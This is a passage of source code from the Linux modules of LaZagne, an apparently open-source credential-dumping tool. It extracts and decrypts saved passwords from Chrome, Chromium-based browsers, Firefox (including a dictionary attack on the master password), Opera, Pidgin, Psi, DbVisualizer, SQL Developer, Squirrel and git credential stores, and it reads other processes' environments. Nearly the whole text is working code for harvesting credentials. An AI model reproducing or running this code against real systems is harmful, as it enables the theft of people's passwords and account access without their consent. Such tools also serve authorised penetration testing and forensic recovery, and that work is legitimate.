cursor = conn.cursor() try: cursor.execute('SELECT origin_url,username_value,password_value FROM logins') for url, user, password in cursor: # Password encrypted on the database if password[:3] == b'v10' or password[:3] == b'v11': # To decrypt it, Chromium Safe Storage from libsecret module is needed if not constant.chrome_storage: self.info('Password encrypted and Chrome Secret Storage not found') continue else: psswrd = password try: for css in constant.chrome_storage: enc_key = pbkdf2_hmac( hash_name='sha1', password=css, salt=self.enc_config['salt'], iterations=self.enc_config['iterations'], dklen=self.enc_config['length']) try: password = self.chrome_decrypt(password, key=enc_key, init_vector=self.enc_config['iv']) password = password if python_version == 2 else password.decode() except UnicodeDecodeError: password = self._decrypt_v80(password, enc_key, AES.MODE_GCM) try: password=password.decode() except UnicodeDecodeError : password = self._decrypt_v80(password, enc_key, AES.MODE_CBC) if password: break else: password = psswrd except Exception: print(traceback.format_exc()) if user: yield { 'URL': url, 'Login': user, 'Password': password } except Exception: print(traceback.format_exc()) finally: cursor.close() conn.close() os.remove(path) def run(self): all_passwords = [] for path in self.get_paths(): tmp = u'/tmp/chrome.db' shutil.copyfile(path, tmp) for pw in self.get_passwords(tmp): all_passwords.append(pw) return all_passwords ================================================ FILE: Linux/lazagne/softwares/browsers/chromium_browsers.py ================================================ from lazagne.config.soft_import_module import soft_import chromium_based_module_location = "lazagne.softwares.browsers.chromium_based", "ChromiumBased" ChromiumBased = soft_import(*chromium_based_module_location) # Name, path chromium_browsers_paths = [ (u'Google Chrome', u'.config/google-chrome'), (u'Chromium', u'.config/chromium'), (u'Brave', u'.config/BraveSoftware/Brave-Browser'), (u'SlimJet', u'.config/slimjet'), (u'Dissenter Browser', u'.config/GabAI/Dissenter-Browser'), (u'Vivaldi', u'.config/vivaldi'), (u'Microsoft Edge (Dev)', u'.config/microsoft-edge-dev'), (u'Microsoft Edge (Beta)', u'.config/microsoft-edge-beta'), (u'Microsoft Edge', u'.config/microsoft-edge'), # (u'SuperBird', u'.config/superbird'), # FIXME # (u'Whale', u'.config/naver-whale'), # FIXME returns bytes ] chromium_browsers = [ChromiumBased(browser_name=name, path=path) for name, path in chromium_browsers_paths] ================================================ FILE: Linux/lazagne/softwares/browsers/firefox_browsers.py ================================================ from lazagne.config.soft_import_module import soft_import mozilla_module_location = "lazagne.softwares.browsers.mozilla", "Mozilla" Mozilla = soft_import(*mozilla_module_location) # Name, path firefox_browsers = [ (u'firefox', u'.mozilla/firefox'), (u'icecat', u'.mozilla/icecat'), (u'waterfox', u'.waterfox'), # (u'Pale Moon', u'.moonchild productions/pale moon'), FIXME ] firefox_browsers = [Mozilla(browser_name=name, path=path) for name, path in firefox_browsers] ================================================ FILE: Linux/lazagne/softwares/browsers/mozilla.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- # portable decryption functions and BSD DB parsing by Laurent Clevy (@lorenzo2472) # from https://github.com/lclevy/firepwd/blob/master/firepwd.py import hmac import json import sqlite3 import struct import traceback import os from lazagne.config.module_info import ModuleInfo from lazagne.config.crypto.pyDes import triple_des, CBC from lazagne.config.crypto.pyaes import AESModeOfOperationCBC from lazagne.config.dico import get_dic from lazagne.config.constant import constant, python_version from pyasn1.codec.der import decoder from lazagne.config import homes from binascii import unhexlify from base64 import b64decode from hashlib import sha1, pbkdf2_hmac try: from ConfigParser import RawConfigParser # Python 2.7 except ImportError: from configparser import RawConfigParser # Python 3 def l(n): try: return long(n) except NameError: return int(n) CKA_ID = unhexlify('f8000000000000000000000000000001') AES_BLOCK_SIZE = 16 def convert_to_byte(s): if python_version == 2: return s else: return s.encode() def o(c): if python_version == 2: return ord(c) else: return c def long_to_bytes(n, blocksize=0): """long_to_bytes(n:long, blocksize:int) : string Convert a long integer to a byte string. If optional blocksize is given and greater than zero, pad the front of the byte string with binary zeros so that the length is a multiple of blocksize. """ # after much testing, this algorithm was deemed to be the fastest s = convert_to_byte('') n = l(n) while n > 0: s = struct.pack('>I', n & 0xffffffff) + s n = n >> 32 # strip off leading zeros for i in range(len(s)): if s[i] != convert_to_byte('\000')[0]: break else: # only happens when n == 0 s = convert_to_byte('\000') i = 0 s = s[i:] # add back some pad bytes. this could be done more efficiently w.r.t. the # de-padding being done above, but sigh... if blocksize > 0 and len(s) % blocksize: s = (blocksize - len(s) % blocksize) * convert_to_byte('\000') + s return s class Mozilla(ModuleInfo): def __init__(self, browser_name, path, category='browsers'): self.path = path ModuleInfo.__init__(self, browser_name, category=category) def get_firefox_profiles(self, directory): """ List all profiles """ cp = RawConfigParser() profile_list = [] try: cp.read(os.path.join(directory, 'profiles.ini')) for section in cp.sections(): if section.startswith('Profile') and cp.has_option(section, 'Path'): profile_path = None if cp.has_option(section, 'IsRelative'): if cp.get(section, 'IsRelative') == '1': profile_path = os.path.join(directory, cp.get(section, 'Path').strip()) elif cp.get(section, 'IsRelative') == '0': profile_path = cp.get(section, 'Path').strip() else: # No "IsRelative" in profiles.ini profile_path = os.path.join(directory, cp.get(section, 'Path').strip()) if profile_path: profile_list.append(profile_path) except Exception as e: self.error(u'An error occurred while reading profiles.ini: {}'.format(e)) return profile_list def get_key(self, profile): """ Get main key used to encrypt all data (user / password). Depending on the Firefox version, could be stored in key3.db or key4.db file. """ try: row = None # Remove error when file is empty with open(os.path.join(profile, 'key4.db'), 'rb') as f: content = f.read() if content: conn = sqlite3.connect(os.path.join(profile, 'key4.db')) # Firefox 58.0.2 / NSS 3.35 with key4.db in SQLite c = conn.cursor() # First check password c.execute("SELECT item1,item2 FROM metadata WHERE id = 'password';") try: row = c.next() # Python 2 except Exception: row = next(c) # Python 3 except Exception: self.debug(traceback.format_exc()) else: if row: (global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password=b'', key_data=row) if global_salt: try: # Decrypt 3DES key to decrypt "logins.json" content c.execute("SELECT a11,a102 FROM nssPrivate;") for row in c: if row[0]: break a11 = row[0] # CKA_VALUE a102 = row[1] # f8000000000000000000000000000001, CKA_ID if python_version == 2: a102 = str(a102) if a102 == CKA_ID: # a11 : CKA_VALUE # a102 : f8000000000000000000000000000001, CKA_ID # self.print_asn1(a11, len(a11), 0) # SEQUENCE { # SEQUENCE { # OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 # SEQUENCE { # OCTETSTRING entry_salt_for_3des_key # INTEGER 01 # } # } # OCTETSTRING encrypted_3des_key (with 8 bytes of PKCS#7 padding) # } decoded_a11 = decoder.decode(a11) key = self.decrypt_3des(decoded_a11, master_password, global_salt) if key: self.debug(u'key: {key}'.format(key=repr(key))) yield key[:24] # else: # Nothing saved except Exception: self.debug(traceback.format_exc()) try: key3_file = os.path.join(profile, 'key3.db') if os.path.exists(key3_file): key_data = self.read_bsddb(key3_file) # Check masterpassword (global_salt, master_password, entry_salt) = self.manage_masterpassword(master_password=u'', key_data=key_data, new_version=False) if global_salt: key = self.extract_secret_key(key_data=key_data, global_salt=global_salt, master_password=master_password, entry_salt=entry_salt) if key: self.debug(u'key: {key}'.format(key=repr(key))) yield key[:24] except Exception: self.debug(traceback.format_exc()) @staticmethod def get_short_le(d, a): return struct.unpack('L', d[a:a + 4])[0] def print_asn1(self, d, l, rl): """ Used for debug """ type_ = o(d[0]) length = o(d[1]) if length & 0x80 > 0: # http://luca.ntop.org/Teaching/Appunti/asn1.html, # nByteLength = length & 0x7f length = o(d[2]) # Long form. Two to 127 octets. Bit 8 of first octet has value "1" and # bits 7-1 give the number of additional length octets. skip = 1 else: skip = 0 if type_ == 0x30: seq_len = length read_len = 0 while seq_len > 0: len2 = self.print_asn1(d[2 + skip + read_len:], seq_len, rl + 1) seq_len = seq_len - len2 read_len = read_len + len2 return length + 2 elif type_ in (0x6, 0x5, 0x4, 0x2): # OID, OCTETSTRING, NULL, INTEGER return length + 2 elif length == l - 2: self.print_asn1(d[2:], length, rl + 1) return length def read_bsddb(self, name): """ Extract records from a BSD DB 1.85, hash mode Obsolete with Firefox 58.0.2 and NSS 3.35, as key4.db (SQLite) is used """ with open(name, 'rb') as f: # http://download.oracle.com/berkeley-db/db.1.85.tar.gz header = f.read(4 * 15) magic = self.get_long_be(header, 0) if magic != 0x61561: self.warning(u'Bad magic number') return False version = self.get_long_be(header, 4) if version != 2: self.warning(u'Bad version !=2 (1.85)') return False pagesize = self.get_long_be(header, 12) nkeys = self.get_long_be(header, 0x38) readkeys = 0 page = 1 db1 = [] while readkeys < nkeys: f.seek(pagesize * page) offsets = f.read((nkeys + 1) * 4 + 2) offset_vals = [] i = 0 nval = 0 val = 1 keys = 0 while nval != val: keys += 1 key = self.get_short_le(offsets, 2 + i) val = self.get_short_le(offsets, 4 + i) nval = self.get_short_le(offsets, 8 + i) offset_vals.append(key + pagesize * page) offset_vals.append(val + pagesize * page) readkeys += 1 i += 4 offset_vals.append(pagesize * (page + 1)) val_key = sorted(offset_vals) for i in range(keys * 2): f.seek(val_key[i]) data = f.read(val_key[i + 1] - val_key[i]) db1.append(data) page += 1 db = {} for i in range(0, len(db1), 2): db[db1[i + 1]] = db1[i] return db @staticmethod def decrypt_3des(decoded_item, master_password, global_salt): """ User master key is also encrypted (if provided, the master_password could be used to encrypt it) """ # See http://www.drh-consultancy.demon.co.uk/key3.html pbeAlgo = str(decoded_item[0][0][0]) if pbeAlgo == '1.2.840.113549.1.12.5.1.3': # pbeWithSha1AndTripleDES-CBC entry_salt = decoded_item[0][0][1][0].asOctets() cipher_t = decoded_item[0][1].asOctets() # See http://www.drh-consultancy.demon.co.uk/key3.html hp = sha1(global_salt + master_password).digest() pes = entry_salt + convert_to_byte('\x00') * (20 - len(entry_salt)) chp = sha1(hp + entry_salt).digest() k1 = hmac.new(chp, pes + entry_salt, sha1).digest() tk = hmac.new(chp, pes, sha1).digest() k2 = hmac.new(chp, tk + entry_salt, sha1).digest() k = k1 + k2 iv = k[-8:] key = k[:24] return triple_des(key, CBC, iv).decrypt(cipher_t) # New version elif pbeAlgo == '1.2.840.113549.1.5.13': # pkcs5 pbes2 assert str(decoded_item[0][0][1][0][0]) == '1.2.840.113549.1.5.12' assert str(decoded_item[0][0][1][0][1][3][0]) == '1.2.840.113549.2.9' assert str(decoded_item[0][0][1][1][0]) == '2.16.840.1.101.3.4.1.42' # https://tools.ietf.org/html/rfc8018#page-23 entry_salt = decoded_item[0][0][1][0][1][0].asOctets() iteration_count = int(decoded_item[0][0][1][0][1][1]) key_length = int(decoded_item[0][0][1][0][1][2]) assert key_length == 32 k = sha1(global_salt + master_password).digest() key = pbkdf2_hmac('sha256', k, entry_salt, iteration_count, dklen=key_length) # https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49 iv = b'\x04\x0e' + decoded_item[0][0][1][1][1].asOctets() # 04 is OCTETSTRING, 0x0e is length == 14 encrypted_value = decoded_item[0][1].asOctets() aes = AESModeOfOperationCBC(key, iv=iv) cleartxt = b"".join([aes.decrypt(encrypted_value[i:i + AES_BLOCK_SIZE]) for i in range(0, len(encrypted_value), AES_BLOCK_SIZE)]) return cleartxt def extract_secret_key(self, key_data, global_salt, master_password, entry_salt): if unhexlify('f8000000000000000000000000000001') not in key_data: return None priv_key_entry = key_data[unhexlify('f8000000000000000000000000000001')] salt_len = o(priv_key_entry[1]) name_len = o(priv_key_entry[2]) priv_key_entry_asn1 = decoder.decode(priv_key_entry[3 + salt_len + name_len:]) # data = priv_key_entry[3 + salt_len + name_len:] # self.print_asn1(data, len(data), 0) # See https://github.com/philsmd/pswRecovery4Moz/blob/master/pswRecovery4Moz.txt priv_key = self.decrypt_3des(priv_key_entry_asn1, master_password, global_salt) # self.print_asn1(priv_key, len(priv_key), 0) priv_key_asn1 = decoder.decode(priv_key) pr_key = priv_key_asn1[0][2].asOctets() # self.print_asn1(pr_key, len(pr_key), 0) pr_key_asn1 = decoder.decode(pr_key) # id = pr_key_asn1[0][1] key = long_to_bytes(pr_key_asn1[0][3]) return key @staticmethod def decode_login_data(data): asn1data = decoder.decode(b64decode(data)) # First base64 decoding, then ASN1DERdecode # For login and password, keep :(key_id, iv, ciphertext) return asn1data[0][0].asOctets(), asn1data[0][1][1].asOctets(), asn1data[0][2].asOctets() def get_login_data(self, profile): """ Get encrypted data (user / password) and host from the json or sqlite files """ conn = sqlite3.connect(os.path.join(profile, 'signons.sqlite')) logins = [] c = conn.cursor() try: c.execute('SELECT * FROM moz_logins;') except sqlite3.OperationalError: # Since Firefox 32, json is used instead of sqlite3 try: logins_json = os.path.join(profile, 'logins.json') if os.path.isfile(logins_json): with open(logins_json) as f: loginf = f.read() if loginf: json_logins = json.loads(loginf) if 'logins' not in json_logins: self.debug('No logins key in logins.json') return logins for row in json_logins['logins']: enc_username = row['encryptedUsername'] enc_password = row['encryptedPassword'] logins.append((self.decode_login_data(enc_username), self.decode_login_data(enc_password), row['hostname'])) return logins except Exception: self.debug(traceback.format_exc()) return [] # Using sqlite3 database for row in c: enc_username = row[6] enc_password = row[7] logins.append((self.decode_login_data(enc_username), self.decode_login_data(enc_password), row[1])) return logins def manage_masterpassword(self, master_password=b'', key_data=None, new_version=True): """ Check if a master password is set. If so, try to find it using a dictionary attack """ (global_salt, master_password, entry_salt) = self.is_master_password_correct(master_password=master_password, key_data=key_data, new_version=new_version) if not global_salt: self.info(u'Master Password is used !') (global_salt, master_password, entry_salt) = self.brute_master_password(key_data=key_data, new_version=new_version) if not master_password: return '', '', '' return global_salt, master_password, entry_salt def is_master_password_correct(self, key_data, master_password=b'', new_version=True): try: entry_salt = b"" if not new_version: # See http://www.drh-consultancy.demon.co.uk/key3.html pwd_check = key_data.get(b'password-check') if not pwd_check: return '', '', '' # Hope not breaking something (not tested for old version) # entry_salt_len = o(pwd_check[1]) # entry_salt = pwd_check[3: 3 + entry_salt_len] # encrypted_passwd = pwd_check[-16:] global_salt = key_data[b'global-salt'] else: global_salt = key_data[0] # Item1 item2 = key_data[1] # self.print_asn1(item2, len(item2), 0) # SEQUENCE { # SEQUENCE { # OBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3 # SEQUENCE { # OCTETSTRING entry_salt_for_passwd_check # INTEGER 01 # } # } # OCTETSTRING encrypted_password_check # } decoded_item2 = decoder.decode(item2) cleartext_data = self.decrypt_3des(decoded_item2, master_password, global_salt) if cleartext_data != convert_to_byte('password-check\x02\x02'): return '', '', '' return global_salt, master_password, entry_salt except Exception: self.debug(traceback.format_exc()) return '', '', '' def brute_master_password(self, key_data, new_version=True): """ Try to find master_password doing a dictionary attack using the 500 most used passwords """ wordlist = constant.password_found + get_dic() num_lines = (len(wordlist) - 1) self.info(u'%d most used passwords !!! ' % num_lines) for word in wordlist: global_salt, master_password, entry_salt = self.is_master_password_correct(key_data=key_data, master_password=word.strip(), new_version=new_version) if master_password: self.info(u'Master password found: {}'.format(master_password)) return global_salt, master_password, entry_salt self.warning(u'No password has been found using the default list') return '', '', '' def remove_padding(self, data): """ Remove PKCS#7 padding """ try: nb = struct.unpack('B', data[-1])[0] # Python 2 except Exception: nb = data[-1] # Python 3 try: return data[:-nb] except Exception: self.debug(traceback.format_exc()) return data def decrypt(self, key, iv, ciphertext): """ Decrypt ciphered data (user / password) using the key previously found """ data = triple_des(key, CBC, iv).decrypt(ciphertext) return self.remove_padding(data) def run(self): """ Main function """ pwd_found = [] profile_list = ( item for sublist in ( self.get_firefox_profiles(path) for path in homes.get(directory=self.path) ) for item in sublist ) for profile in profile_list: self.info(u'Profile path found: {profile}'.format(profile=profile)) credentials = self.get_login_data(profile) if credentials: for key in self.get_key(profile): for user, password, url in credentials: try: pwd_found.append( { 'URL': url, 'Login': self.decrypt(key=key, iv=user[1], ciphertext=user[2]).decode('utf-8'), 'Password': self.decrypt(key=key, iv=password[1], ciphertext=password[2]).decode('utf-8'), } ) except Exception: self.debug(u'An error occurred decrypting the password: {error}'.format( error=traceback.format_exc())) else: self.info(u'Database empty') return pwd_found ================================================ FILE: Linux/lazagne/softwares/browsers/opera.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- import re import os import binascii import hashlib import struct from lazagne.config.module_info import ModuleInfo from lazagne.config.crypto.pyDes import * from lazagne.config import homes try: from ConfigParser import RawConfigParser # Python 2.7 except ImportError: from configparser import RawConfigParser # Python 3 class Opera(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'opera', 'browsers') def get_paths(self): return homes.get(directory=u'.opera') def run(self): all_passwords = [] for path in self.get_paths(): # Check the use of master password if not os.path.exists(os.path.join(path, u'operaprefs.ini')): self.debug(u'The preference file operaprefs.ini has not been found.') else: if self.master_password_used(path) == '0': self.debug(u'No master password defined.') elif self.master_password_used(path) == '1': self.warning(u'A master password is used.') else: self.warning(u'An error occurs, the use of master password is not sure.') passwords = self.decipher_old_version(path) if passwords: all_passwords += self.parse_results(passwords) else: self.debug(u'The wand.dat seems to be empty') return all_passwords def decipher_old_version(self, path): salt = '837DFC0F8EB3E86973AFFF' # Retrieve wand.dat file if not os.path.exists(os.path.join(path, u'wand.dat')): self.warning(u'wand.dat file has not been found.') return # Read wand.dat with open(os.path.join(path, u'wand.dat', 'rb')) as outfile: file = outfile.read() passwords = [] offset = 0 while offset < len(file): offset = file.find('\x08', offset) + 1 if offset == 0: break tmp_block_length = offset - 8 tmp_data_len = offset + 8 block_length = struct.unpack('!i', file[tmp_block_length: tmp_block_length + 4])[0] data_len = struct.unpack('!i', file[tmp_data_len: tmp_data_len + 4])[0] binary_salt = binascii.unhexlify(salt) des_key = file[offset: offset + 8] tmp = binary_salt + des_key md5hash1 = hashlib.md5(tmp).digest() md5hash2 = hashlib.md5(md5hash1 + tmp).digest() key = md5hash1 + md5hash2[0:8] iv = md5hash2[8:] data = file[offset + 8 + 4: offset + 8 + 4 + data_len] des3dec = triple_des(key, CBC, iv) try: plaintext = des3dec.decrypt(data) plaintext = re.sub(r'[^\x20-\x7e]', '', plaintext) passwords.append(plaintext) except Exception as e: self.debug(str(e)) self.error(u'Failed to decrypt password') offset += 8 + 4 + data_len return passwords def master_password_used(self, path): # The init file is not well defined so lines have to be removed before to parse it cp = RawConfigParser() with open(os.path.join(path, u'operaprefs.ini', 'rb')) as outfile: outfile.readline() # discard first line while True: try: cp.readfp(outfile) break except Exception: outfile.readline() # discard first line try: master_pass = cp.get('Security Prefs', 'Use Paranoid Mailpassword') return master_pass except Exception: return False def parse_results(self, passwords): cpt = 0 tmp_cpt = 0 values = {} pwd_found = [] for password in passwords: # Date (begin of the sensitive data) match = re.search(r'(\d+-\d+-\d+)', password) if match: values = {} cpt = 0 tmp_cpt = 0 # After finding 2 urls if cpt == 2: tmp_cpt += 1 if tmp_cpt == 2: values['Login'] = password elif tmp_cpt == 4: values['Password'] = password pwd_found.append(values) # URL match = re.search(r'^http', password) if match: cpt += 1 if cpt == 1: tmp_url = password elif cpt == 2: values['URL'] = tmp_url return pwd_found ================================================ FILE: Linux/lazagne/softwares/chats/__init__.py ================================================ # -*- coding: utf-8 -*- ================================================ FILE: Linux/lazagne/softwares/chats/pidgin.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- import os import traceback from lazagne.config.module_info import ModuleInfo from xml.etree.cElementTree import ElementTree from lazagne.config import homes class Pidgin(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'pidgin', 'chats') # If pidgin is started, use the api to retrieve all passwords def get_password_from_dbus(self): try: import dbus except ImportError: self.debug('Dbus not installed: sudo apt-get install python-dbus') return [] pwd_found = [] for _, session in homes.sessions(): try: bus = dbus.bus.BusConnection(session) purple = bus.get_object( "im.pidgin.purple.PurpleService", "/im/pidgin/purple/PurpleObject", "im.pidgin.purple.PurpleInterface" ) acc = purple.PurpleAccountsGetAllActive() for x in range(len(acc)): _acc = purple.PurpleAccountsGetAllActive()[x] pwd_found.append({ 'Login': purple.PurpleAccountGetUsername(_acc), 'Password': purple.PurpleAccountGetPassword(_acc), 'Protocol': purple.PurpleAccountGetProtocolName(_acc), }) bus.flush() bus.close() except Exception as e: self.debug(e) return pwd_found def run(self): pwd_found = self.get_password_from_dbus() for path in homes.get(file=os.path.join('.purple', 'accounts.xml')): tree = ElementTree(file=path) root = tree.getroot() for account in root.findall('account'): if account.find('name') is not None: name = account.find('name') password = account.find('password') if name is not None and password is not None: pwd_found.append( { 'Login': name.text, 'Password': password.text } ) return pwd_found ================================================ FILE: Linux/lazagne/softwares/chats/psi.py ================================================ # -*- coding: utf-8 -*- import os from xml.etree.cElementTree import ElementTree from itertools import cycle from lazagne.config.module_info import ModuleInfo from lazagne.config import homes class PSI(ModuleInfo): def __init__(self): self.pwd_found = [] ModuleInfo.__init__(self, 'psi-im', 'chats') def get_profiles_files(self): for profile_dir in homes.get(directory=[u'.config/psi/profiles', u'.local/psi+/profiles']): try: subdirs = os.listdir(profile_dir) except Exception: continue for subdir in subdirs: login_data = os.path.join(profile_dir, subdir, 'accounts.xml') if os.path.isfile(login_data): yield login_data # Thanks to https://github.com/jose1711/psi-im-decrypt def decode_password(self, password, jid): result = '' jid = cycle(jid) for n1 in range(0, len(password), 4): x = int(password[n1:n1 + 4], 16) result += chr(x ^ ord(next(jid))) return result def process_one_file(self, _path): root = ElementTree(file=_path).getroot() for item in root: if item.tag == '{http://psi-im.org/options}accounts': for acc in item: values = {} for x in acc: if x.tag == '{http://psi-im.org/options}jid': values['Login'] = x.text elif x.tag == '{http://psi-im.org/options}password': values['Password'] = x.text values['Password'] = self.decode_password(values['Password'], values['Login']) if values: self.pwd_found.append(values) def run(self): for one_file in self.get_profiles_files(): self.process_one_file(one_file) return self.pwd_found ================================================ FILE: Linux/lazagne/softwares/databases/__init__.py ================================================ # -*- coding: utf-8 -*- ================================================ FILE: Linux/lazagne/softwares/databases/dbvis.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- import binascii import hashlib import base64 import array import re import os from xml.etree.cElementTree import ElementTree from lazagne.config.module_info import ModuleInfo from lazagne.config.crypto.pyDes import des, CBC from lazagne.config import homes class DbVisualizer(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'dbvis', 'databases') self._salt = self.get_salt() self._passphrase = 'qinda' self._iteration = 10 def get_salt(self): salt_array = [-114, 18, 57, -100, 7, 114, 111, 90] salt = array.array('b', salt_array) hexsalt = binascii.hexlify(salt) return binascii.unhexlify(hexsalt) def get_derived_key(self, password, salt, count): key = bytearray(password) + salt for i in range(count): m = hashlib.md5(key) key = m.digest() return (key[:8], key[8:]) def decrypt(self, msg): enc_text = base64.b64decode(msg) (dk, iv) = self.get_derived_key(self._passphrase, self._salt, self._iteration) crypter = des(dk, CBC, iv) text = crypter.decrypt(enc_text) return re.sub(r'[\x01-\x08]', '', text) def run(self): pwd_found = [] for home in homes.get(directory=u'.dbvis'): path = os.path.join(home, u'config70', u'dbvis.xml') if os.path.exists(path): tree = ElementTree(file=path) elements = {'Alias': 'Name', 'Userid': 'Login', 'Password': 'Password', 'UrlVariables//Driver': 'Driver'} for e in tree.findall('Databases/Database'): values = {} for elem in elements: try: if elem != "Password": values[elements[elem]] = e.find(elem).text else: values[elements[elem]] = self.decrypt(e.find(elem).text) except Exception: pass try: elem = e.find('UrlVariables') for ee in elem.getchildren(): for ele in ee.getchildren(): if 'Server' == ele.attrib['UrlVariableName']: values['Host'] = str(ele.text) if 'Port' == ele.attrib['UrlVariableName']: values['Port'] = str(ele.text) if 'SID' == ele.attrib['UrlVariableName']: values['SID'] = str(ele.text) except Exception: pass if values: pwd_found.append(values) return pwd_found ================================================ FILE: Linux/lazagne/softwares/databases/sqldeveloper.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- # Passwords decryption for new verion have been taken from: # https://github.com/maaaaz/sqldeveloperpassworddecryptor import binascii import hashlib import base64 import array import json import re import os from xml.etree.cElementTree import ElementTree from Crypto.Cipher import AES from lazagne.config.module_info import ModuleInfo from lazagne.config.crypto.pyDes import des, CBC from lazagne.config import homes class SQLDeveloper(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'sqldeveloper', 'databases') self._salt = self.get_salt() self._passphrase = None self._iteration = 42 def get_salt(self): salt_array = [5, 19, -103, 66, -109, 114, -24, -83] salt = array.array('b', salt_array) hexsalt = binascii.hexlify(salt) return binascii.unhexlify(hexsalt) def get_derived_key(self, password, salt, count): key = bytearray(password) + salt for i in range(count): m = hashlib.md5(key) key = m.digest() return (key[:8], key[8:]) def decrypt(self, msg): enc_text = base64.b64decode(msg) (dk, iv) = self.get_derived_key(self._passphrase, self._salt, self._iteration) crypter = des(dk, CBC, iv) text = crypter.decrypt(enc_text) return re.sub(r'[\x01-\x08]', '', text) def aes_cbc_decrypt(self, encrypted_password, decryption_key, iv): unpad = lambda s : s[:-ord(s[len(s)-1:])] crypter = AES.new(decryption_key, AES.MODE_CBC, iv) decrypted_password = unpad(crypter.decrypt(encrypted_password)) return decrypted_password.decode('utf-8') def decrypt_v19_2(self, encrypted, db_system_id): encrypted_password = base64.b64decode(encrypted) salt = array.array('b', [6, -74, 97, 35, 61, 104, 50, -72]) key = hashlib.pbkdf2_hmac("sha256", db_system_id.encode(), salt, 5000, 32) iv = encrypted_password[:16] encrypted_password = encrypted_password[16:] try: decrypted = self.aes_cbc_decrypt(encrypted_password, key, iv) except: return False return decrypted def get_passphrase(self, path): xml_name = u'product-preferences.xml' xml_file = None if os.path.exists(os.path.join(path, xml_name)): xml_file = os.path.join(path, xml_name) else: for p in os.listdir(path): if p.startswith('system'): new_directory = os.path.join(path, p) for pp in os.listdir(new_directory): if pp.startswith(u'o.sqldeveloper'): if os.path.exists(os.path.join(new_directory, pp, xml_name)): xml_file = os.path.join(new_directory, pp, xml_name) break if xml_file: tree = ElementTree(file=xml_file) for elem in tree.iter(): if 'n' in elem.attrib.keys(): if elem.attrib['n'] == 'db.system.id': return elem.attrib['v'] def run(self): pwd_found = [] for home in homes.get(directory=u'.sqldeveloper'): path = os.path.join(home, u'SQL Developer') if os.path.exists(path): self._passphrase = self.get_passphrase(path) if self._passphrase: self.info(u'Passphrase found: {passphrase}'.format(passphrase=self._passphrase)) # Check for older version xml_name = u'connections.xml' xml_file = None if os.path.exists(os.path.join(path, xml_name)): xml_file = os.path.join(path, xml_name) else: for p in os.listdir(path): if p.startswith('system'): new_directory = os.path.join(path, p) for pp in os.listdir(new_directory): if pp.startswith(u'o.jdeveloper.db.connection'): if os.path.exists(os.path.join(new_directory, pp, xml_name)): xml_file = os.path.join(new_directory, pp, xml_name) break if xml_file: wanted_value = ['sid', 'port', 'hostname', 'user', 'password', 'ConnName', 'customUrl', 'SavePassword', 'driver'] renamed_value = {'sid': 'SID', 'port': 'Port', 'hostname': 'Host', 'user': 'Login', 'password': 'Password', 'ConnName': 'Name', 'customUrl': 'URL', 'SavePassword': 'SavePassword', 'driver': 'Driver'} tree = ElementTree(file=xml_file) for e in tree.findall('Reference'): values = {} for ee in e.findall('RefAddresses/StringRefAddr'): if ee.attrib['addrType'] in wanted_value and ee.find('Contents').text is not None: name = renamed_value[ee.attrib['addrType']] value = ee.find('Contents').text if name != 'Password' else self.decrypt( ee.find('Contents').text) values[name] = value pwd_found.append(values) # Check for newer version json_name = u'connections.json' json_file = None if os.path.exists(os.path.join(path, xml_name)): json_file = os.path.join(path, xml_name) else: for p in os.listdir(path): if p.startswith('system'): new_directory = os.path.join(path, p) for pp in os.listdir(new_directory): if pp.startswith(u'o.jdeveloper.db.connection'): if os.path.exists(os.path.join(new_directory, pp, json_name)): json_file = os.path.join(new_directory, pp, json_name) break if json_file: with open(json_file) as jf: data = json.load(jf) for connection in data['connections']: values = { 'Name': connection['name'], 'Type': connection['type'] } for info in connection['info']: if info == 'password': password = self.decrypt_v19_2(connection['info'][info], self._passphrase) if password: values['Password'] = password else: values[info.capitalize()] = connection['info'][info] pwd_found.append(values) return pwd_found ================================================ FILE: Linux/lazagne/softwares/databases/squirrel.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- import os from xml.etree.cElementTree import ElementTree from lazagne.config import homes from lazagne.config.module_info import ModuleInfo class Squirrel(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'squirrel', 'databases') def get_paths(self): return homes.get(file=os.path.join('.squirrel-sql', 'SQLAliases23.xml')) def parse_xml(self, path): pwd_found = [] if os.path.exists(path): tree = ElementTree(file=path) elements = {'name': 'Name', 'url': 'URL', 'userName': 'Login', 'password': 'Password'} for elem in tree.iter('Bean'): values = {} for e in elem: if e.tag in elements: values[elements[e.tag]] = e.text if values: pwd_found.append(values) return pwd_found def run(self): all_passwords = [] for path in self.get_paths(): all_passwords += self.parse_xml(path) return all_passwords ================================================ FILE: Linux/lazagne/softwares/git/__init__.py ================================================ ================================================ FILE: Linux/lazagne/softwares/git/gitforlinux.py ================================================ # -*- coding: utf-8 -*- import os import psutil try: from urlparse import urlparse, unquote except ImportError: from urllib.parse import urlparse, unquote from lazagne.config.module_info import ModuleInfo from lazagne.config import homes class GitForLinux(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'gitforlinux', 'git') def extract_credentials(self, location): """ Extract the credentials from a Git store file. See "https://git-scm.com/docs/git-credential-store" for file format. :param location: Full path to the Git store file :return: List of credentials founds """ pwd_found = [] if os.path.isfile(location): with open(location) as f: # One line have the following format: https://user:pass@example.com for cred in f: if len(cred) > 0: parts = urlparse(cred) pwd_found.append(( unquote(parts.geturl().replace(parts.username + ":" + parts.password + "@", "").strip()), unquote(parts.username), unquote(parts.password) )) return pwd_found def run(self): """ Main function """ known_locations = set() # According to the "git-credential-store" documentation: # Build a list of locations in which git credentials can be stored # Apply the password extraction on the defined locations pwd_found = [] for location in homes.get(file=[u'.git-credentials', u'.config/git/credentials']): pwd_found += self.extract_credentials(location) known_locations.add(location) # Read Env variable from another user for process in psutil.process_iter(): try: environ = process.environ() except Exception: continue for var in ('XDG_CONFIG_HOME', ): if var not in environ or environ[var] in known_locations: continue # Env 